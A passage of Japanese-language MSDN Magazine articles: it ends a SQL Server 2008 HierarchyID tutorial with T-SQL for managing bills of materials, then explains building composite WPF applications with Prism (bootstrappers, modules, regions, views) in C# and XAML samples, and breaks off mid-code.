最後に、新しい部品表を dbo.bill2 テーブルに挿入し、billID と partListID を dbo.billPartList テーブルに挿入することで、このトランザクションを完了できます。
insert into dbo.bill2
  output inserted.*
  values (@newBillPath,@newBillID,'Summer Bonus Package');

insert into dbo.billPartList(billID,partListID)
  output inserted.*
  values (@newBillID,@mpl);

commit;
end;
Summer Bonus 部品表を Super X100 Home Theatre System の直接の子から Disk Drive Module の子に移動することは、billID を変更しないのであれば特に難しくはありません (図 10 を参照)。GetReparentedValue の使用について覚えておく必要のある重要なことは、この呼び出しがテーブルに永続化されている値の変更に本来影響しないことです。代わりに、更新を使用してその変更に影響を与える必要があります。
図 10 部品表の移動
begin
begin transaction
declare @oldPath hierarchyID,@newRoot hierarchyID;
declare @newPath hierarchyID;
declare @billIDToMove int = 251;
declare @billIDToMoveTo int = 320;
select @oldPath = billPath
  from dbo.bill2 where BillID = @billIDToMove;
select @newRoot = b.billPath
  from dbo.bill2 b where billID = @billIDToMoveTo
select @newPath = @oldPath.GetReparentedValue(
  @oldPath.GetAncestor(1),@newRoot);
update dbo.bill2
  set billPath = @newPath
  output inserted.*
  where billID = 251;
commit;
end;
部品とその matchingID 部品表の削除は、かなり単純なプロセスである場合と、かなりの労力を必要とする場合があります。その大部分は、削除される部品表が別の部品表の親であるかどうかに依存します。Summer Bonus 部品表のように別の部品表の親でない場合は、単純に部品表と部品を削除できます。
begin
declare @partToDelete int = 45;
begin transaction
delete from dbo.bill2 where billID in
  (  select billID from dbo.billPartList bpl
  join dbo.partList pl on bpl.partListID = pl.partListID
  join dbo.part p on pl.partID = p.partID
  where p.partID = @partToDelete);
delete from dbo.part where partID = @partToDelete;
commit;
end;
ここに示しているようなデザインで、1 つ以上の他の部品表の親である部品表を削除するには、より複雑なコードが必要です。問題は、各部品表に直接の親を必要とする外部キー制約があることです。親部品表を削除しようとした場合は、エラーが発生します。このエラーを解決するには、最初にすべての子を残りの部品表に移動する必要があります。そのためには、外部キー制約を一時的に削除し、GetReparentedValue メソッドを使用して新しいノードのパスを計算する必要があります。

まとめ
SQL Server 2008 の新しい HierarchyID 型は、ノードで識別される順序付きパスを格納および処理する機能を持つ簡潔なデータ型を提供します。階層データ モデルに依存するほとんどすべてのシステムは、この新しいデータ型を使用するように実装できます。
主な利点は、ディスクに物理的に格納されるデータ量を削減でき、簡素化されたクエリを作成できることです。この型の参照整合性制約のカスケードに、ネイティブ SQL Server サポートを利用することもできます。覚えておく必要のある重要なポイントは、子の ID と親の ID のスカラ値を使用して階層をモデル化する従来のアプローチとは異なり、HierarchyID では各ノードに、その完全なパスが ID として含まれることです。
Kent Tegels は、Developmentor のデータ カリキュラム テクニカル リードです。SQL Server、.NET、および XML のクラスを開発および講義しています。


Prism
WPF で複合アプリケーションを作成するためのパターン
Glenn Block

この記事では、次の内容について説明します。
  • 複合アプリケーションの基礎
  • ブートストラップとモジュールの初期化
  • 領域と RegionManager
  • ビュー、コマンド、およびイベント
 この記事では、次のテクノロジを使用しています。
Composite Application Guidance for WPF
目次
問題 : モノリシック アプリケーション
複合アプリケーション
Composite Application Guidance
ブートストラップとコンテナ
モジュールの初期化
ブートストラップを使用する
モジュールとサービス
領域と RegionManager
ローカルに範囲指定された領域
ビュー
分離されたプレゼンテーション
コマンド
イベント
まとめ
Windows ® Presentation Foundation (WPF) や Silverlight™ などのテクノロジは、ユーザー エクスペリエンスの充実したアプリケーションをすばやく簡単に配布する単純な宣言型の手段を開発者に提供します。しかし、これらのテクノロジはプレゼンテーション層を論理層から分離するのに役立ちますが、管理しやすいアプリケーションを作成するという昔ながらの問題は解決しません。
小さなプロジェクトでは、中程度の経験を有する開発者が管理しやすく拡張可能なアプリケーションをデザインおよび作成できると期待できます。しかし、可変部分の数、およびこれらの部分を操作する人の数が増えると、プロジェクトを制御下に置くことが急激に難しくなります。
複合アプリケーションは、この問題に対するソリューションです。この記事では、複合アプリケーションとは何か、また WPF の機能を利用する複合アプリケーションをどのようにして作成できるかについて説明します。さらに、マイクロソフトの patterns & practices チームによる新しい Composite Application Guidance for WPF (以前のコードネームは "Prism" でした) を紹介します。

問題 : モノリシック アプリケーション
複合アプリケーションの必要性を理解するための例について考えてみましょう。Contoso Financial Investments は、株式投資ポートフォリオを管理するためのアプリケーションを提供します。このアプリケーションを使用して、ユーザーは、現在の投資とそれらの投資に関連するニュース アイテムを表示すること、ウォッチ リストにアイテムを追加すること、および売買取引を実行することができます。
これをユーザー コントロールのある従来の WPF アプリケーションとして作成する場合は、まず最上位ウィンドウから開始し、前述の各機能のユーザー コントロールを追加します。この例には、PositionGrid、PositionSummary、TrendLine、WatchList などのユーザー コントロールがあります (図 1 を参照)。各ユーザー コントロールは、XAML で手動で、または Expression Blend™ などのデザイナを使用して、デザイン時にメイン ウィンドウ内にレイアウトされます。
図 1 モノリシック アプリケーションのユーザー コントロール (クリックすると拡大画像が表示されます)
次に、RoutedEvents、RoutedCommands、およびデータ バインドを使用してすべてを関連付けます。このトピックの詳細については、今月号に掲載されている Brian Noyes の「WPF におけるルーティング イベントとルーティング コマンドについて」という記事を参照してください (msdn.microsoft.com/magazine/cc785480)。PositionGrid には、選択用の RoutedCommand が関連付けられています。コマンドの Execute ハンドラで、ポジションが選択されるたびに TickerSymbolSelected イベントが発生します。TickerSymbolSelected イベントをリスニングし、選択したティッカー シンボルに基づいてコンテンツをレンダリングするために、TrendLine と NewsReader が関連付けられています。
この場合、アプリケーションは各コントロールと緊密に結合しています。UI には、さまざまな部分を調整するための十分な量のロジックがあります。コントロール間の相互依存関係もあります。
このような依存関係があるため、異なる各部分を個別に開発できる形式にアプリケーションを分割する簡単な方法がありません。すべてのユーザー コントロールを別々のアセンブリに配置して管理しやすさを向上させることはできますが、問題がメイン アプリケーションからコントロール アセンブリに移動するだけです。このモデルでは、大量の変更を行ったり新しい機能を導入したりすることが非常に困難です。
ここで、2 つの新しいビジネス要件を追加して、問題を複雑にしてみましょう。最初に、選択されたファンドがダブルクリックされたときに、そのファンドに関する個人的なメモを表示するファンド メモ画面を追加します。次に、選択したファンドに関連するハイパーリンクの一覧を表示する新しい画面を追加します。時間の制約により、これらの機能を異なるチームで並列に開発する必要があります。
各チームで、FundNotes および FundLinks という別々のコントロールを開発します。両方のコントロールを同じコントロール アセンブリに追加するには、これらをそれぞれコントロール プロジェクトに追加する必要があります。さらに重要なのは、これらをメイン フォームに追加する必要があることです。これは、各コントロールのコードと XAML の両方に対する変更をメイン フォームでマージする必要があることを意味します。この種の操作は、特に既存のアプリケーションの場合には、非常に不安定になります。
これらすべての変更がメイン アプリケーションに戻されたことをチェックするにはどうすればよいでしょうか。この作業が終わるまでに、ソース コントロールのマージと差異の確認におそらく多大な時間を費やすことになります。変更の適用でミスをした場合、または間違って何かを上書きしてしまった場合は、壊れたアプリケーションが残されます。対策は、アプリケーション デザインの再考にあります。

複合アプリケーション
複合アプリケーションは、動的に検出され実行時に構築される疎結合モジュールから構成されます。モジュールには、システムのさまざまな垂直スライスを表すビジュアル コンポーネントと非ビジュアル コンポーネントが含まれます (図 2 を参照)。ビジュアル コンポーネント (ビュー) は、すべてのアプリケーション コンテンツのホストとして機能する共通シェル内に構成されます。複合により、これらのモジュールレベル コンポーネントを関連付けるサービスが提供されます。モジュールは、アプリケーションの特定の機能に関連する追加サービスを提供できます。
図 2 複合アプリケーションのコンポーネント (クリックすると拡大画像が表示されます)
大まかにいうと、複合アプリケーションは、それ自身がビューである子を含むビューの再帰的 UI 構造を記述する複合ビュー デザイン パターンの実装です。ビューは、デザイン時に静的に構成されるのではなく、通常は実行時にメカニズムによって構成されます。
パターンの利点を示すために、複数の注文インスタンスがある受注システムについて考えます。各インスタンスは、ヘッダー、詳細、出荷、および受領を表示するために非常に複雑になることがあります。システムが進化すると、さらに多くの情報の表示が必要になります。注文の種類に応じて、注文の各部分を異なる方法で表示することも想像してください。
このような画面が静的に作成される場合は、最終的に、注文のさまざまな部分を表示するための条件付きロジックが大量に生じる可能性があります。また、新しい機能を追加すると、既存のロジックが壊れる可能性が増します。一方、これを複合ビューとして実装する場合は、関連する部分のみの注文画面を動的に構成します。このため、条件付き表示ロジックを廃止し、注文ビュー自体は変更せずに新しい子画面を追加できます。
モジュールは、メイン複合ビュー (シェルとも呼ばれます) の作成元のビューに寄与します。モジュールが相互に直接参照したり、シェルを直接参照したりすることはありません。代わりに、ユーザー アクションに応答するために、サービスを利用して相互に通信およびシェルと通信します。
システムをモジュールで構成することにはいくつかの利点があります。モジュールは、同じアプリケーション内の異なるバックエンド システムから取得されたデータを集約できます。また、システムは時間の経過と共により簡単に進化できます。システム要件が変化したときに、非モジュール システムよりもはるかに少ない手間で新しいモジュールをシステムに追加できます。既存のモジュールを独立して進化させることができるため、テストの容易性が向上します。最後に、モジュールは、異なるチームで開発、テスト、および保守できます。

Composite Application Guidance
Microsoft patterns & practices チームは、最近、Composite Application Guidance for WPF の最初のバージョンを出荷しました (microsoft.com/CompositeWPF で入手できます)。WPF の機能とプログラミング モデルを利用するために、新しいガイダンスがデザインされました。同時に、チームは内部の製品チーム、顧客、および .NET コミュニティからのフィードバックに基づいて、以前の複合アプリケーション ガイダンスのデザインを改善しました。
Composite Application Guidance for WPF には、参照実装 (前に説明した Stock Trader アプリケーション)、Composite Application Library (CAL)、クイックスタート アプリケーション、および設計文書と技術文書が含まれています。
CAL は、複合アプリケーションを作成するためのサービスと機能を提供します。各サービスを CAL デザイン アプリケーションの一部として 1 つずつまたはまとめて使用できる構成モデルを使用します。CAL を再コンパイルせずに、各サービスを簡単に置換することもできます。たとえば、CAL には依存関係注入に Unity Application Block を使用する拡張機能が付属していますが、独自の依存関係注入サービスでこれを置換することもできます。
クイックスタートは、さまざまな CAL コンポーネントの使用方法を示すことに焦点を絞った小さなアプリケーションを提供します。これらは、一度にすべてを把握する必要なく、概念を理解できるようにデザインされています。
この記事の残りの部分では、Stock Trader 参照実装で示されている複合の技術的な概念をいくつか検証します。記事のすべてのコードは、MSDN® (msdn.microsoft.com/library/cc707819) から Composite Application Guidance for WPF をダウンロードして入手できます。

ブートストラップとコンテナ
CAL を使用して複合アプリケーションを作成する場合、最初に複数のコア構成サービスを初期化する必要があります。ここで、ブートストラップが登場します。ブートストラップは、構成に必要なすべての機能 (図 3 に示します) を実行します。多くの点で、これは CAL アプリケーションの Main メソッドです。
図 3 ブートストラップ初期化タスク (クリックすると拡大画像が表示されます)
最初に、コンテナが初期化されます。コンテナは、制御の反転 (IoC: inversion of control)/依存関係の注入 (DI: dependency injection) コンテナを意味します。この用語を聞き慣れない場合は、James Kovacs による MSDN Magazine の記事「ソフトウェアの依存関係を緩和してアプリケーションの柔軟性を高める」(msdn.microsoft.com/magazine/cc337885) を参照してください。
コンテナは、CAL アプリケーションで重要な役割を果たします。コンテナは、構成に使用されるすべてのアプリケーション サービスのストアです。これは、必要な場合にこれらのサービスの注入を担当します。既定では、CAL には patterns & practices の Unity フレームワークをコンテナとして使用する抽象 UnityBootstrapper が含まれます。ただし、CAL は Windsor、Structure Map、Sprint.NET などの他のコンテナと連動するように作成されています。CAL 内のクラス (Unity 拡張機能以外) はいずれも特定のコンテナに依存しません。
コンテナが構成されるときに、構成に使用されるロガーやイベント アグリゲータなどのいくつかのコア サービスが自動的に登録され、ベースのブートストラップによってこれらをオーバーライドできます。たとえば、自動的に登録される 1 つのサービスに IModuleLoader があります。ブートストラップで ConfigureContainer メソッドをオーバーライドする場合は、独自のモジュール ローダーを登録できます。
protected override void ConfigureContainer() {
  Container.RegisterType<IModuleLoader, MyModuleLoader>();
  base.ConfigureContainer();
}
サービスを既定で登録しない場合は、これをオフにすることもできます。単純に、ブートストラップで Run メソッド オーバーロードを呼び出し、useDefaultConfiguration パラメータに false 値を渡します。
次に、領域アダプタが構成されます。領域は、モジュールが UIElement を注入できる、UI 内の指定された場所 (通常は、パネルなどのコンテナ) です。領域アダプタは、アクセスするさまざまな領域タイプの関連付けを処理します。これらのアダプタは、コンテナ内の RegionAdapterMappings シングルトン インスタンスにマップされています。
この時点で、シェルが作成されます。シェルは、領域が定義される最上位ウィンドウです。App.Xaml で宣言する代わりに、アプリケーション固有のブートストラップから CreateShell メソッドで作成します。これにより、シェルが表示される前にブートストラップの初期化が完了することが保証されます。
実際にはアプリケーションにシェルが必要でないと聞いて驚かれるかもしれません。たとえば、既存の WPF アプリケーションがあり、これにいくつかの CAL 機能を追加するとします。CAL コントロールを画面全体に表示する代わりに、最上位領域となるパネルを追加できます。この例では、シェルを定義する必要がありません。ブートストラップは、シェルが定義されていない場合にはその表示を単純に無視できます。

モジュールの初期化
最後に、モジュールが初期化されます。CAL アプリケーション内のモジュールは、別のアセンブリとして開発できる、複合アプリケーション内の分離単位ですが、別のアセンブリとして開発することは必須ではありません。CAL アプリケーションでは、モジュールに機能のほとんどが含まれます。
モジュールの読み込みは、IModuleEnumerator および IModuleLoader という 2 つのサービスが関係する 2 ステップのプロセスです。列挙子は、使用可能なモジュールの特定を担当します。これは、モジュールに関するメタデータを含む ModuleInfo オブジェクトのコレクションをいくつか返します。UnityBootstrapper には、適切な列挙子を返すためにオーバーライドする必要のある GetModuleEnumerator が含まれます。オーバーライドしないと、実行時に例外がスローされます。CAL には、ディレクトリ スキャンおよび構成からモジュールを静的に特定するための列挙子が含まれます。
読み込みの場合、CAL には既定で UnityBootstrapper によって使用される ModuleLoader が含まれます。これは、各モジュール アセンブリを読み込み (まだ読み込まれていない場合)、それらを初期化します。モジュールでは、他のモジュールに対する依存関係を指定できます。ModuleLoader は、依存関係ツリーを構築し、これらの仕様に基づいて適切な順序でモジュールを初期化します。

ブートストラップを使用する
UnityBootstrapper は抽象クラスであるため、StockTraderRIBootstrapper がこれをオーバーライドします (図 4 を参照)。ブートストラップには、独自のアプリケーション固有機能を挿入できる保護された仮想メソッドがいくつかあります。
図 4 Stock Trader ブートストラップ
public class StockTraderRIBootstrapper : UnityBootstrapper {
  private readonly EntLibLoggerAdapter _logger = new EntLibLoggerAdapter();

  protected override IModuleEnumerator GetModuleEnumerator()  {
    return new StaticModuleEnumerator()
    .AddModule(typeof(NewsModule))
    .AddModule(typeof(MarketModule))
    .AddModule(typeof(WatchModule), "MarketModule")
    .AddModule(typeof(PositionModule), "MarketModule", "NewsModule");
  }

  protected override ILoggerFacade LoggerFacade  {
    get { return _logger; }
  }

  protected override void ConfigureContainer()  {
    Container.RegisterType<IShellView, Shell>();

    base.ConfigureContainer();
  }

  protected override DependencyObject CreateShell()  {
    ShellPresenter presenter = Container.Resolve<ShellPresenter>();
    IShellView view = presenter.View;
    view.ShowView();
    return view as DependencyObject;
  }
}
最初に注目すべき点は、EntlibLoggerAdapter が定義され、_logger 変数に格納されていることです。コードは、LoggerFacade プロパティをオーバーライドしてこのロガーを返し、これで ILoggerFacade を実装します。この場合は、Enterprise Library のロガーを使用していますが、独自のアダプタを使用するように簡単に置換できます。
次に、GetModuleEnumerator メソッドが StaticModuleEnumerator を返すようにオーバーライドされます。StaticModuleEnumerator は、4 つの参照実装モジュールで事前に設定されています。参照実装では、静的モジュール読み込みを使用しますが、ディレクトリ ルックアップや構成など、モジュールを列挙する方法が他にもいくつかあります。別の列挙方法を使用するには、別の列挙子をインスタンス化するようにこのメソッドを変更するだけです。
次に、ConfigureContainer がシェルを登録するようにオーバーライドされます。必要に応じて、この時点で追加のサービスをプログラムで登録することもできます。最後に、CreateShell がシェルを作成する特定のロジックでオーバーライドされます。この場合は、コードが Model View Presenter パターンを実装しているため、シェルにはプレゼンタが関連付けられます。
図 4 に示すブートストラップは、CAL アプリケーションを最初から作成する場合の一般的なパターンを示しています。これは、アプリケーション固有のブートストラップを作成するものです。このアプローチの大きな利点は、アプリケーション固有のブートストラップによって、アプリケーションのテスト容易性が強化されることです。ブートストラップには、DependencyObject 以外の WPF に対する依存性がありません。たとえば、アプリケーション固有のブートストラップから継承するテスト ブートストラップを作成し、CreateContainer メソッドをオーバーライドして AutoMocking コンテナを返し、すべてのサービスをモック作成します。
また、ブートストラップは構成を初期化するための単一エントリ ポイントを提供し、CAL はアプリケーションのフレームワーク クラスからの継承に依存しないため、以前のフレームワークよりも少ない手間で CAL を既存のアプリケーションに統合できます。CAL 自体はブートストラップにまったく依存しないため、ブートストラップがニーズに合わない場合は、これを使用しないこともできます。

モジュールとサービス
前に述べたように、複合アプリケーションは CAL を使用して作成され、アプリケーション ロジックの大部分がモジュール内に存在します。Stock Trader 参照実装には、4 つのモジュールが含まれます。
  • NewsModule は、選択された各ファンドの関連ニュース フィードを提供します。
  • MarketModule は、選択されたファンドのトレンド データに加えてリアルタイム マーケット データを提供します。
  • WatchModule は、監視しているファンドの一覧を表示するウォッチ リストを提供します。
  • PositionModule は、投資したファンドの一覧を表示し、売買取引を実行できるようにします。
CAL では、モジュールは IModule インターフェイスを実装するクラスです。このインターフェイスには、Initialize という 1 つのメソッドしかありません。ブートストラップがアプリケーションの Main メソッドに相当する場合、Initialize メソッドは各モジュールの Main です。たとえば、WatchModule の Initialize メソッドを次に示します。
public void Initialize() {
  RegisterViewsAndServices();

  IWatchListPresentationModel watchListPresentationModel =
    _container.Resolve<IWatchListPresentationModel>();
  _regionManager.Regions["WatchRegion"].Add(watchListPresentationModel.View);
  IAddWatchPresenter addWatchPresenter =
    _container.Resolve<IAddWatchPresenter>();
  _regionManager.Regions["MainToolbarRegion"].Add(addWatchPresenter.View);
}
モジュールの詳細に入る前に、_container および _regionManager への参照という 2 つの項目について説明しておいたほうがよいでしょう。インターフェイスにこれらが定義されていない場合、これらはどこから来るのでしょうか。モジュールにロジックをハードコーディングして、これらの依存関係を見つけるのでしょうか。
さいわい、最後の質問に対する答えは「いいえ」です。IoC コンテナがここで役立ちます。モジュールが読み込まれると、コンテナから解決され、指定された依存関係もモジュールのコンストラクタに注入されます。
public WatchModule(IUnityContainer container,
  IRegionManager regionManager) {
  _container = container;
  _regionManager = regionManager;
}
ここで、コンテナ自体がモジュールに注入されることがわかります。これが可能なのは、ブートストラップがコンテナをその ConfigureContainer メソッドで登録するためです。
Container.RegisterInstance<IUnityContainer>(Container);
コンテナに直接アクセスするモジュールによって、モジュールはコンテナからの依存関係を強制的に登録および解決できます。
この強制登録は必須ではありません。代わりに、すべてのサービスをグローバル構成に配置できます。これは、コンテナが最初に作成されたときにすべてのサービスが登録される必要があることを意味します。ただし、ほとんどのモジュールにはモジュール固有のサービスがあります。また、登録をモジュールに保持することで、これらのモジュール固有サービスは、モジュールが読み込まれた場合にのみ登録されます。
前に示したモジュールの場合、最初の呼び出しは RegisterViewsAndServices に対するものです。このメソッドでは、WatchModule の特定のビューがそれぞれインターフェイスと共にコンテナに登録されます。
protected void RegisterViewsAndServices() {
  _container.RegisterType<IWatchListService, WatchListService>(
    new ContainerControlledLifetimeManager());
  _container.RegisterType<IWatchListView, WatchListView>();
  _container.RegisterType<IWatchListPresentationModel,
    WatchListPresentationModel>();
  _container.RegisterType<IAddWatchView, AddWatchView>();
  _container.RegisterType<IAddWatchPresenter, AddWatchPresenter>();
}
インターフェイスが指定されることを要求すると、考慮事項の分離が促進され、システムの他のモジュールが直接参照を必要とせずにビューと対話できます。すべてをコンテナに配置すると、さまざまなオブジェクトの各依存関係を自動的に注入できます。たとえば、WatchListView はコードに直接インスタンス化されず、代わりに WatchListPresentationModel コンストラクタの依存関係として読み込まれます。
public WatchListPresentationModel(IWatchListView view...)
ビューに加えて、WatchModule は WatchListService を登録します。WatchListService はリスト データを含み、新しいアイテムの追加に使用されます。登録される特定のビューは、ウォッチ リストとウォッチ リスト ツール バーです。登録後、領域マネージャが使用され、登録された両方のビューが WatchRegion と ToolbarRegion に追加されます。

領域と RegionManager
モジュール自体は、UI にコンテンツをレンダリングできない限り、特に興味深いものではありません。前のセクションでは、Watch モジュールで領域を使用して 2 つのビューを追加しました。領域を使用すると、モジュールが UI への特定の参照を保持し、注入されたビューをレイアウトおよび表示する方法を認識する必要がなくなります。この例として、図 5 に、WatchModule が注入する領域を示します。
図 5 アプリケーションにモジュールを注入する (クリックすると拡大画像が表示されます)
CAL には、基本的にこれらの場所をラップするハンドルである Region クラスが含まれます。Region クラスには、領域内に表示するビューの読み取り専用コレクションである Views プロパティが含まれます。ビューは、領域の追加メソッドを呼び出すことで領域に追加されます。Views プロパティには、実際にはオブジェクトの汎用コレクションが含まれます。UIElement のみを含むことには限定されません。このコレクションは、INotifyPropertyCollectionChanged を実装するため、領域に関連付けられている UIElement をこれにバインドし、変化を観察できます。
Views コレクションが UIElement 型ではなく、柔軟に型指定されているのはなぜかと疑問に思うかもしれません。WPF の豊富なテンプレート サポートのおかげで、実際にモジュールを領域に直接追加できます。そのモデルには、モデルのレンダリングを定義する関連 DataTemplate を定義できます。追加されたアイテムが UIElement またはユーザー コントロールの場合、WPF はそのままレンダリングします。このため、未処理注文のタブである領域がある場合は、OrderModel または OrderPresentationModel を単純に領域に追加してから、カスタム OrderView ユーザー コントロールを作成する代わりにカスタム DataTemplate を定義して表示を制御できます。
領域は、2 とおりの方法で登録できます。最初の方法は、UIElement に RegionName 添付プロパティで注釈を付けることにより XAML で定義されます。たとえば、MainToolbarRegion を定義する XAML は次のようになります。
<ItemsControl Grid.Row="1" Grid.Column="1"
  x:Name="MainToolbar"
  cal:RegionManager.RegionName="MainToolbarRegion">
  <ItemsControl.ItemsPanel>
    <ItemsPanelTemplate>
      <WrapPanel />
    </ItemsPanelTemplate>
  </ItemsControl.ItemsPanel>
</ItemsControl>
領域は、XAML を介して定義された後、実行時に RegionManager で自動的に登録されます。RegionManager は、ブートストラップによって登録された構成サービスの 1 つです。RegionManager は、本質的に、キーが領域の名前で値が IRegion インターフェイスのインスタンスである辞書です。RegionManager 添付プロパティでは、RegionAdapter を使用してこのインスタンスを作成します。
ただし、添付プロパティの使用が機能しないか、追加の領域を動的に登録する必要がある場合は、Region クラスまたは派生クラスのインスタンスを手動で作成し、RegionManager の Regions コレクションに追加できます。
XAML のコードでは、MainToolbarRegion が ItemsControl であることに注目してください。CAL には、ブートストラップによって登録される ContentControlRegionAdapter、ItemsControlRegionAdapter、SelectorRegionAdapter という 3 つの領域アダプタが付属しています。アダプタは、RegionAdapterMappings クラスで登録されます。アダプタはすべて、IRegionAdapter インターフェイスを実装する RegionAdapterBase から継承します。
図 6 に、ItemsControlRegionAdapter の実装を示します。アダプタ自体がどのように実装されるかは、採用される UIElement の種類に全面的に依存します。ItemsControlRegionAdapter の場合は、実装の大部分が Adapt メソッド内にあります。Adapt メソッドは 2 つのパラメータを受け取ります。最初のパラメータは、RegionManager が作成する Region クラス自体のインスタンスです。2 番目のパラメータは、領域を表す UIElement です。Adapt メソッドは、領域が要素を処理することを確認するために、関連機能を実行します。
図 6 ItemsControlRegionAdapter
public class ItemsControlRegionAdapter : RegionAdapterBase<ItemsControl> {
  protected override void Adapt(IRegion region, ItemsControl regionTarget) {
    if (regionTarget.ItemsSource != null ||
      (BindingOperations.GetBinding(regionTarget,
      ItemsControl.ItemsSourceProperty) != null))
      throw new InvalidOperationException(
        Resources.ItemsControlHasItemsSourceException);

    if (regionTarget.Items.Count > 0) {
      foreach (object childItem in regionTarget.Items) {
        region.Add(childItem);
      }
      regionTarget.Items.Clear();
    }
    regionTarget.ItemsSource = region.Views;
  }

  protected override IRegion CreateRegion() {
    return new AllActiveRegion();
  }
}
ItemsControl の場合、アダプタは ItemControl 自体から子アイテムを自動的に削除してから、それらを領域に追加します。領域の Views コレクションは、コントロールの ItemsSource にバインドされます。
オーバーライドされている 2 つ目のメソッドは、新しい AllActiveRegion インスタンスを返す CreateRegion です。領域には、アクティブまたは非アクティブなビューを含めることができます。ItemsControl の場合は、選択の概念がないため、すべてのアイテムが常にアクティブです。一方、Selector などの他の種類の領域の場合は、一度に 1 つのアイテムのみ選択されます。ビューでは、選択されたことが領域によって通知されるように IActiveAware インターフェイスを実装できます。ビューが選択されるたびに、その IsSelected プロパティが true に設定されます。
複合アプリケーションの開発全体を通して、サードパーティ ベンダのコントロールに適応するものなど、追加の領域および領域アダプタを作成する必要があります。新しい領域アダプタを登録するには、ブートストラップで ConfigureRegionAdapterMappings メソッドをオーバーライドします。その後で、次のようなコードを追加します。
protected override RegionAdapterMappings
  ConfigureRegionAdapterMappings() {
  RegionAdapterMappings regionAdapterMappings =
    base.ConfigureRegionAdapterMappings();

  regionAdapterMappings.RegisterMapping(typeof(Selector),
    new MyWizBangRegionAdapter());

  return regionAdapterMappings;
}
定義された領域には、RegionManager サービスを捕らえておくことでアプリケーション内の任意のクラスからアクセスできます。CAL アプリケーションでこの操作を行う一般的な方法は、依存関係注入コンテナで、RegionManager を必要とするクラスのコンストラクタに RegionManager を注入することです。領域にビューまたはモデルを追加するには、単純に領域の Add メソッドを呼び出します。ビューを追加する場合は、オプションで名前を渡すことができます。
_regionManager.Regions["MainRegion"].Add(
  somePresentationModel, "SomeView");
後でこの名前を使用して、領域の GetView メソッドを使用して領域からビューを取得できます。

ローカルに範囲指定された領域
既定では、アプリケーションには 1 つの RegionManager インスタンスしかないため、すべての領域がグローバルに範囲指定されます。これにより広いシナリオのセットが扱われますが、特定の範囲にのみ存在する領域を定義することが必要な場合があります。この操作を行う必要がある例は、ビューの複数のインスタンスを同時に表示できる従業員詳細のビューがアプリケーションに存在する場合です。これらのビューがかなり複雑な場合、ビューはミニシェルや CompositeView のように動作します。その場合は、シェルと同じように、各ビューに固有の領域が必要です。CAL により、ビューのローカル RegionManager を定義できるため、そのビュー内またはその子ビュー内で定義されている領域は、そのローカル領域内に自動的に登録されます。
UI Composition クイックスタートには、この従業員シナリオを示すガイダンスが含まれていました (図 7 を参照)。クイックスタートには、従業員リストがあります。各従業員をクリックすると、関連する従業員詳細が表示されます。従業員を選択するたびに、新しい EmployeeDetailsView がその従業員に対して作成され、DetailsRegion に追加されます (図 8 を参照)。このビューには、ローカル TabRegion が含まれます。EmployeesController がその OnEmployeeSelected に ProjectListView を注入します。
図 7 RegionManager を介した UI Composition (クリックすると拡大画像が表示されます)
図 8 新しい従業員ビューを作成する
public virtual void
  OnEmployeeSelected(BusinessEntities.Employee employee) {
  IRegion detailsRegion =
    regionManager.Regions[RegionNames.DetailsRegion];
  object existingView = detailsRegion.GetView(
    employee.EmployeeId.ToString(CultureInfo.InvariantCulture));

  if (existingView == null) {
    IProjectsListPresenter projectsListPresenter =
    this.container.Resolve<IProjectsListPresenter>();
    projectsListPresenter.SetProjects(employee.EmployeeId);

    IEmployeesDetailsPresenter detailsPresenter =
      this.container.Resolve<IEmployeesDetailsPresenter>();
    detailsPresenter.SetSelectedEmployee(employee);

    IRegionManager detailsRegionManager =
      detailsRegion.Add(detailsPresenter.View,
      employee.EmployeeId.ToString(CultureInfo.InvariantCulture), true);

    IRegion region = detailsRegionManager.Regions[RegionNames.TabRegion];
    region.Add(projectsListPresenter.View, "CurrentProjectsView");
    detailsRegion.Activate(detailsPresenter.View);
  }
  else {
    detailsRegion.Activate(existingView);
  }
}
領域は、TabControl としてレンダリングされ、静的コンテンツと動的コンテンツの両方を含みます。[General] タブと [Location] タブは、XAML 内で静的に定義されます。ただし、[Current Projects] タブにはビューが注入されています。
コードでは、新しい RegionManager インスタンスが detailsRegion.Add メソッドから返されています。また、ビューの名前を渡し、createRegionManagerScope パラメータを true に設定する Add のオーバーロードを使用していることにも注目してください。これにより、子で定義されている領域に使用されるローカル RegionManager インスタンスが作成されます。TabRegion 自体は、EmployeeDetailsView の XAML で定義されます。
<TabControl AutomationProperties.AutomationId="DetailsTabControl"
  cal:RegionManager.RegionName="{x:Static local:RegionNames.TabRegion}" .../>
ローカル領域を使用すると、インスタンス領域を使用していない場合でも追加の利点があります。最上位境界の定義にこれらを使用して、モジュールがその領域を他の部分に自動的に公開しないようにすることができます。そのために必要なのは、モジュールの最上位ビューを領域に追加し、固有の範囲を持つように指定することだけです。そうすると、モジュールの領域が他の部分から効果的に保護されます。これらにアクセスすることは不可能ではありませんが、はるかに難しくなります。

ビューがない場合は、複合が不要になります。ビューは、アプリケーションが提供する機能へのゲートウェイとなるため、複合アプリケーション内で作成する最重要要素です。
通常、ビューはアプリケーションの画面です。ビューには他のビューを含めることができ、その場合は複合ビューになります。ビューの別の用途は、メニューとツール バーです。たとえば、Stock Trader の OrdersToolbar は、[Submit]、[Cancel]、[Submit All]、[Cancel All] の各ボタンを含むビューです。
WPF では、Windows フォームの世界での慣例よりもはるかに豊富なビューの概念がサポートされます。Windows フォームでは、基本的にコントロールは視覚表現としての使用に制限されていました。WPF では、このモデルもサポートされますが、さまざまな画面を表示するためにカスタム ユーザー コントロールを作成することもできます。Stock Trader アプリケーション全体を見た場合、これはビューの定義に採用されている主要なメカニズムです。
もう 1 つのアプローチは、モデルを使用することです。WPF では、任意のモデルを UI にバインドしてから、DataTemplate を使用してそれをレンダリングできます。テンプレートは再帰的にレンダリングされるため、テンプレートがモデルのプロパティにバインドされる要素をレンダリングする場合、そのプロパティはテンプレートを使用してレンダリングされます (使用可能な場合)。
この動作の例として、次のコード サンプルを見てみましょう。このサンプルは、Composition クイックスタートと同じ UI を実装しますが、もっぱらモデルと DataTemplate を使用します。プロジェクト全体は 1 つのユーザー コントロールではありません。図 9 に、EmployeeDetailsView の処理方法を示します。ビューは、ResourceDictionary で定義された 3 つの DataTemplate のセットとなっています。すべてが EmployeeDetailsPresentationModel から開始します。そのテンプレートは、TabControl としてレンダリングされる必要があることを宣言します。テンプレートの一部として、TabControl の ItemsSource を EmployeeDetailsPresentationModel の EmployeeDetails コレクション プロパティにバインドします。このコレクションには、従業員詳細が構築されるときに 2 つの情報が設定されます。
public EmployeesDetailsPresentationModel() {
  EmployeeDetails = new ObservableCollection<object>();
  EmployeeDetails.Insert(0, new HeaderedEmployeeData());
